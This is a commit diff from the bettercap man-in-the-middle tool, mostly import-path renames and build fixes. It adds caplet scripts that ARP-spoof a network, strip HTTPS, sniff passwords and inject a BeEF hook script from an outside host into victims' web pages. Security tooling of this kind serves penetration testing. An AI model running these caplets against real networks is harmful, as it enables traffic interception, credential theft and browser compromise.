mirror of
https://github.com/bettercap/bettercap
synced 2025-08-19 13:09:49 -07:00
Fixed compilation
This commit is contained in:
parent
9ede6c1518
commit
f992cb50f2
22 changed files with 100 additions and 29 deletions
3
.gitignore
vendored
3
.gitignore
vendored
|
@ -1,7 +1,6 @@
|
||||||
*.cap
|
|
||||||
*.sw*
|
*.sw*
|
||||||
|
|
||||||
core/build.go
|
core/build.go
|
||||||
net/oui_compiled.go
|
net/oui_compiled.go
|
||||||
bettercap
|
bettercap-ng
|
||||||
bettercap.history
|
bettercap.history
|
||||||
|
|
10
Makefile
10
Makefile
|
@ -6,7 +6,7 @@ all: build
|
||||||
@echo "@ Done"
|
@echo "@ Done"
|
||||||
@echo -n "\n"
|
@echo -n "\n"
|
||||||
|
|
||||||
build: build_file
|
build: deps build_file
|
||||||
@echo "@ Building ..."
|
@echo "@ Building ..."
|
||||||
@go build $(FLAGS) -o $(TARGET) .
|
@go build $(FLAGS) -o $(TARGET) .
|
||||||
|
|
||||||
|
@ -21,6 +21,14 @@ resources:
|
||||||
@echo "@ Compiling resources into go files ..."
|
@echo "@ Compiling resources into go files ..."
|
||||||
@go-bindata -o net/oui_compiled.go -pkg net net/oui.dat
|
@go-bindata -o net/oui_compiled.go -pkg net net/oui.dat
|
||||||
|
|
||||||
|
deps:
|
||||||
|
@echo "@ Installing dependencies ..."
|
||||||
|
@go get -u github.com/jteeuwen/go-bindata/...
|
||||||
|
@go get github.com/elazarl/goproxy
|
||||||
|
@go get github.com/google/gopacket
|
||||||
|
@go get github.com/malfunkt/iprange
|
||||||
|
@go get github.com/rogpeppe/go-charset/charset
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
@rm -rf $(TARGET) net/oui_compiled.go
|
@rm -rf $(TARGET) net/oui_compiled.go
|
||||||
|
|
||||||
|
|
|
@ -16,6 +16,8 @@ and offensive feature you could need in order to perform a man in the middle att
|
||||||
|
|
||||||
**This is a WIP of the new version, very alpha, do not use.**
|
**This is a WIP of the new version, very alpha, do not use.**
|
||||||
|
|
||||||
|
To have some idea, take a look at the `caplets` folder :)
|
||||||
|
|
||||||
## License
|
## License
|
||||||
|
|
||||||
BetterCAP and BetterCAP-NG were made with ♥ by [Simone Margaritelli](https://www.evilsocket.net/) and it is released under the GPL 3 license.
|
BetterCAP and BetterCAP-NG were made with ♥ by [Simone Margaritelli](https://www.evilsocket.net/) and it is released under the GPL 3 license.
|
||||||
|
|
5
caplets/active_recon.cap
Normal file
5
caplets/active_recon.cap
Normal file
|
@ -0,0 +1,5 @@
|
||||||
|
net.probe on
|
||||||
|
net.recon on
|
||||||
|
sleep 5
|
||||||
|
net.show
|
||||||
|
quit
|
21
caplets/beef_active.cap
Normal file
21
caplets/beef_active.cap
Normal file
|
@ -0,0 +1,21 @@
|
||||||
|
# spoof everyone as they're discovered
|
||||||
|
# set arp.spoof.targets 192.168.1.0/24
|
||||||
|
# strip down https links when possible
|
||||||
|
set http.proxy.sslstrip true
|
||||||
|
# inject beef hook
|
||||||
|
set http.proxy.post.filter |</head>|<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>|
|
||||||
|
|
||||||
|
# keep searching for new targets
|
||||||
|
# net.probe on
|
||||||
|
|
||||||
|
# keep reading arp table for network mapping
|
||||||
|
net.recon on
|
||||||
|
# redirect http traffic to a proxy
|
||||||
|
http.proxy on
|
||||||
|
sleep 5
|
||||||
|
# start arp spoofing attack
|
||||||
|
arp.spoof on
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
19
caplets/beef_passive.cap
Normal file
19
caplets/beef_passive.cap
Normal file
|
@ -0,0 +1,19 @@
|
||||||
|
# strip down https links when possible
|
||||||
|
set http.proxy.sslstrip true
|
||||||
|
# inject beef hook
|
||||||
|
set http.proxy.post.filter |</head>|<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>|
|
||||||
|
#
|
||||||
|
# keep reading arp table for network mapping
|
||||||
|
net.recon on
|
||||||
|
# redirect http traffic to a proxy
|
||||||
|
http.proxy on
|
||||||
|
|
||||||
|
# wait for everything to start properly
|
||||||
|
sleep 1
|
||||||
|
active
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
4
caplets/passive_recon.cap
Normal file
4
caplets/passive_recon.cap
Normal file
|
@ -0,0 +1,4 @@
|
||||||
|
net.recon on
|
||||||
|
sleep 1
|
||||||
|
net.show
|
||||||
|
quit
|
13
caplets/spoof_n_sniff_passwords.cap
Normal file
13
caplets/spoof_n_sniff_passwords.cap
Normal file
|
@ -0,0 +1,13 @@
|
||||||
|
# keep reading arp table for network mapping
|
||||||
|
net.recon on
|
||||||
|
|
||||||
|
set net.sniffer.regexp .*password=.+
|
||||||
|
set net.sniffer.output passwords.cap
|
||||||
|
|
||||||
|
# start arp spoofing attack
|
||||||
|
# arp.spoof on
|
||||||
|
net.sniffer on
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -6,7 +6,7 @@ import (
|
||||||
"os"
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
"github.com/bettercap/bettercap/core"
|
"github.com/evilsocket/bettercap-ng/core"
|
||||||
"github.com/op/go-logging"
|
"github.com/op/go-logging"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
6
main.go
6
main.go
|
@ -5,9 +5,9 @@ import (
|
||||||
|
|
||||||
"github.com/op/go-logging"
|
"github.com/op/go-logging"
|
||||||
|
|
||||||
"github.com/bettercap/bettercap/core"
|
"github.com/evilsocket/bettercap-ng/core"
|
||||||
"github.com/bettercap/bettercap/session"
|
"github.com/evilsocket/bettercap-ng/session"
|
||||||
"github.com/bettercap/bettercap/session/modules"
|
"github.com/evilsocket/bettercap-ng/session/modules"
|
||||||
)
|
)
|
||||||
|
|
||||||
var sess *session.Session
|
var sess *session.Session
|
||||||
|
|
|
@ -8,7 +8,7 @@ import (
|
||||||
|
|
||||||
"github.com/op/go-logging"
|
"github.com/op/go-logging"
|
||||||
|
|
||||||
"github.com/bettercap/bettercap/core"
|
"github.com/evilsocket/bettercap-ng/core"
|
||||||
)
|
)
|
||||||
|
|
||||||
type ArpTable map[string]string
|
type ArpTable map[string]string
|
||||||
|
|
|
@ -5,7 +5,7 @@ import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"net"
|
"net"
|
||||||
|
|
||||||
"github.com/bettercap/bettercap/core"
|
"github.com/evilsocket/bettercap-ng/core"
|
||||||
)
|
)
|
||||||
|
|
||||||
type Endpoint struct {
|
type Endpoint struct {
|
||||||
|
|
|
@ -7,7 +7,7 @@ import (
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
"github.com/bettercap/bettercap/core"
|
"github.com/evilsocket/bettercap-ng/core"
|
||||||
)
|
)
|
||||||
|
|
||||||
var IPv4RouteParser = regexp.MustCompile("^([\\d\\.]+)\\s+([\\d\\.]+)\\s+([\\d\\.]+)\\s+([A-Z]+)\\s+\\d+\\s+\\d+\\s+\\d+\\s+(.+)$")
|
var IPv4RouteParser = regexp.MustCompile("^([\\d\\.]+)\\s+([\\d\\.]+)\\s+([\\d\\.]+)\\s+([A-Z]+)\\s+\\d+\\s+\\d+\\s+\\d+\\s+(.+)$")
|
||||||
|
|
|
@ -2,7 +2,7 @@ package session
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/bettercap/bettercap/core"
|
"github.com/evilsocket/bettercap-ng/core"
|
||||||
"regexp"
|
"regexp"
|
||||||
"strconv"
|
"strconv"
|
||||||
)
|
)
|
||||||
|
|
|
@ -2,7 +2,7 @@ package session
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/bettercap/bettercap/core"
|
"github.com/evilsocket/bettercap-ng/core"
|
||||||
"regexp"
|
"regexp"
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
|
@ -2,9 +2,9 @@ package session_modules
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
network "github.com/bettercap/bettercap/net"
|
network "github.com/evilsocket/bettercap-ng/net"
|
||||||
"github.com/bettercap/bettercap/packets"
|
"github.com/evilsocket/bettercap-ng/packets"
|
||||||
"github.com/bettercap/bettercap/session"
|
"github.com/evilsocket/bettercap-ng/session"
|
||||||
"github.com/malfunkt/iprange"
|
"github.com/malfunkt/iprange"
|
||||||
"net"
|
"net"
|
||||||
"time"
|
"time"
|
||||||
|
|
|
@ -10,8 +10,8 @@ import (
|
||||||
"github.com/elazarl/goproxy"
|
"github.com/elazarl/goproxy"
|
||||||
"github.com/elazarl/goproxy/ext/html"
|
"github.com/elazarl/goproxy/ext/html"
|
||||||
|
|
||||||
"github.com/bettercap/bettercap/firewall"
|
"github.com/evilsocket/bettercap-ng/firewall"
|
||||||
"github.com/bettercap/bettercap/session"
|
"github.com/evilsocket/bettercap-ng/session"
|
||||||
)
|
)
|
||||||
|
|
||||||
var log = logging.MustGetLogger("mitm")
|
var log = logging.MustGetLogger("mitm")
|
||||||
|
|
|
@ -2,8 +2,8 @@ package session_modules
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
// "github.com/bettercap/bettercap/packets"
|
// "github.com/evilsocket/bettercap-ng/packets"
|
||||||
"github.com/bettercap/bettercap/session"
|
"github.com/evilsocket/bettercap-ng/session"
|
||||||
"github.com/malfunkt/iprange"
|
"github.com/malfunkt/iprange"
|
||||||
"net"
|
"net"
|
||||||
"time"
|
"time"
|
||||||
|
|
|
@ -2,8 +2,8 @@ package session_modules
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/bettercap/bettercap/net"
|
"github.com/evilsocket/bettercap-ng/net"
|
||||||
"github.com/bettercap/bettercap/session"
|
"github.com/evilsocket/bettercap-ng/session"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
|
@ -2,8 +2,8 @@ package session_modules
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
"github.com/bettercap/bettercap/core"
|
"github.com/evilsocket/bettercap-ng/core"
|
||||||
"github.com/bettercap/bettercap/session"
|
"github.com/evilsocket/bettercap-ng/session"
|
||||||
"github.com/google/gopacket"
|
"github.com/google/gopacket"
|
||||||
"github.com/google/gopacket/layers"
|
"github.com/google/gopacket/layers"
|
||||||
"github.com/google/gopacket/pcap"
|
"github.com/google/gopacket/pcap"
|
||||||
|
|
|
@ -15,10 +15,10 @@ import (
|
||||||
"github.com/chzyer/readline"
|
"github.com/chzyer/readline"
|
||||||
"github.com/op/go-logging"
|
"github.com/op/go-logging"
|
||||||
|
|
||||||
"github.com/bettercap/bettercap/core"
|
"github.com/evilsocket/bettercap-ng/core"
|
||||||
"github.com/bettercap/bettercap/firewall"
|
"github.com/evilsocket/bettercap-ng/firewall"
|
||||||
"github.com/bettercap/bettercap/net"
|
"github.com/evilsocket/bettercap-ng/net"
|
||||||
"github.com/bettercap/bettercap/packets"
|
"github.com/evilsocket/bettercap-ng/packets"
|
||||||
)
|
)
|
||||||
|
|
||||||
type Session struct {
|
type Session struct {
|
||||||
|
|
|
@ -7,8 +7,8 @@ import (
|
||||||
|
|
||||||
"github.com/op/go-logging"
|
"github.com/op/go-logging"
|
||||||
|
|
||||||
"github.com/bettercap/bettercap/core"
|
"github.com/evilsocket/bettercap-ng/core"
|
||||||
"github.com/bettercap/bettercap/net"
|
"github.com/evilsocket/bettercap-ng/net"
|
||||||
)
|
)
|
||||||
|
|
||||||
var log = logging.MustGetLogger("mitm")
|
var log = logging.MustGetLogger("mitm")
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue